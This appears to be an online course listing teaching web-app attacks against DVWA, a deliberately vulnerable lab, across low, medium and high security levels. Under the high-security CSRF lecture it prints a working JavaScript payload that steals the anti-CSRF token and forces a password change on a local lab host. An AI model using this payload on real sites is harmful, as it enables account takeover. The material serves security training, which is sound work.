DVWA for Ethical Hackers: Master Web App Attacks

Name: DVWA for Ethical Hackers: Master Web App Attacks
Rating: 4.0 (38 reviews)

Practice real-world web hacking in DVWA. Learn SQLi, XSS, CSRF, File Upload, JavaScript flaws & more.

Created byCyber Twinkle, Zeronyte Security

Last updated 5/2026

English

English [Auto],

What you'll learn

Learn to identify and exploit real-world web vulnerabilities using DVWA, including SQL Injection, XSS, CSRF, Command Injection, and more.
Use DVWA (Damn Vulnerable Web Application) as a practice lab for ethical hacking.
Understand web security concepts and how to secure applications against common attacks.
Understand and bypass security levels: Low, Medium and High in DVWA.

Course content

16 sections • 46 lectures • 2h 9m total length

Intro to DVWA1:05
Master web app security with DVWA through ethical labs. Learn to exploit and defend vulnerabilities like SQL injection and command injection across low, medium and high security levels using Docker.

Setting Up DVWA Lab1:30
Set up DVWA lab using Docker and Kali, clone repo, install Docker, start devtool, log in with admin/password, and create or reset the database for web app security testing.
Burp Suite Setup10:21
Burp Proxy Configuration3:51
Learn to configure Burp Suite Professional as a proxy, connect FoxyProxy in Firefox, and export and import the CA certificate to intercept and modify web traffic.

Brute Force Attack – Low Security3:22
Discover how to perform a brute force attack using burp suite on a low-security dvwa page, testing usernames and passwords with intruder payloads to identify successful logins by response length.
Brute Force Attack – Medium Security3:07
Brute Force Attack – High Security5:34
Learn to perform a brute force attack on a high-security DVWA page with Burp Suite, including CSRF token validation, input sanitization, MD5 password handling, and delays to slow attempts.

Command Injection – Low Security2:40
Command Injection – Medium Security1:01
Demonstrate command injection testing at medium security. Show how a blacklist blocks certain characters while a single ampersand bypasses it, with practical server and command examples.
Command Injection – High Security1:08
Test command injection at high security to reveal weak blacklist controls in web app input handling. Learn how pipe injections bypass protections and expose the current directory.

CSRF Attack – Low Security3:39
Simulate a CSRF attack at low security, showing how a malicious link can change a password without the user knowing, using Burp Suite and a proof of concept HTML.
CSRF Attack – Medium Security3:15
CSRF Attack – High Security4:55
#code

var theUrl = 'http://127.8.0.1/vulnerabilities/csrf/';
var pass = 'admin';
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var new_url = 'http://127.8.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
if(!hacked){
alert('Got token:' + match[1]);
hacked = true;
xmlhttp.open("GET", new_url, false );
xmlhttp.send();
}
count++;
}
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();

CAPTCHA Bypass – Low Security1:52
Learn how to bypass a low-security captcha in DVWA by manipulating the step flow and using interception to change steps and update the password.
CAPTCHA Bypass – Medium Security2:01
Explore how the medium security captcha can be bypassed in a DVWA lab, revealing the role of hidden inputs like step and fast_captcha in the change password process.
CAPTCHA Bypass – High Security2:16

SQL Injection – Low Security6:16
Explore SQL injection at the low security level in DB2, showing how unsanitized inputs expose user data and reveal database structure through union selects and schema queries.
SQL Injection – Medium Security2:24
Explore sql injection at medium security level, showing how a real escape function partly filters input and how burp suite can reveal the admin username and password hash.
SQL Injection – High Security1:32
Explore SQL injection at high security level by exploiting a session-based input fed into a vulnerable SQL query, revealing usernames and passwords from the database.

Blind SQL Injection – Low Security5:00
Blind SQL Injection – Medium Security4:05
Perform a blind SQL injection on a medium-security app, verify with a time-based payload using Burp Suite, then use sqlmap to enumerate databases, tables, and credentials.
Blind SQL Injection – High Security4:11
Perform a high-security blind SQL injection on the DVWA database, testing true and false conditions to confirm vulnerability. Automate with sqlmap and Burp Suite to enumerate databases, tables and credentials.

Requirements

Basic knowledge of web applications and how they work.
Internet connection and curiosity to learn ethical hacking.

Description

Are you ready to take your first step into the world of web application hacking? This course, DVWA for Ethical Hackers: Master Web App Attacks, is your hands-on guide to mastering real-world web vulnerabilities using the Damn Vulnerable Web Application (DVWA).

DVWA is a deliberately insecure application that provides a legal and safe environment to practice web security testing. In this course, you’ll learn to exploit a wide range of vulnerabilities found in real-world web apps. From SQL Injection and Cross-Site Scripting (XSS) to Cross-Site Request Forgery (CSRF), Command Injection, File Upload flaws, and JavaScript-based vulnerabilities, you’ll understand how these attacks work and how to perform them step-by-step.

What sets this course apart is its practical approach. We don’t just show you theory—we walk you through attacks on DVWA across three security levels: Low, Medium, and High, helping you understand how web defenses evolve and how hackers adapt. Each module is structured to demonstrate the vulnerability, exploit it, and then discuss how it can be mitigated.

Whether you're an aspiring ethical hacker, a cybersecurity student, or a developer who wants to build more secure applications, this course will give you a strong foundation in offensive web security.

By the end of the course, you’ll be confident in using DVWA as a training ground to sharpen your skills, identify vulnerabilities, and understand the mindset of an attacker.

Join now and start your journey to becoming a skilled web application hacker—ethically and legally.

Who this course is for:

Aspiring ethical hackers and cybersecurity students who want hands-on web hacking practice.
Bug bounty hunters looking to sharpen their skills on a safe and legal platform.
Anyone curious about web app security and how to defend against real-world attacks.

DVWA for Ethical Hackers: Master Web App Attacks

What you'll learn

Explore related topics

Course content

Introduction1 lecture • 1min

Lab Setup3 lectures • 16min

Brute Force Attacks3 lectures • 12min

Command Injection3 lectures • 5min

Cross-Site Request Forgery (CSRF)3 lectures • 12min

File Inclusion Vulnerabilities3 lectures • 8min

File Upload Exploits3 lectures • 8min

Insecure CAPTCHA3 lectures • 6min

SQL Injection3 lectures • 10min

Blind SQL Injection3 lectures • 13min

Requirements

Description

Who this course is for: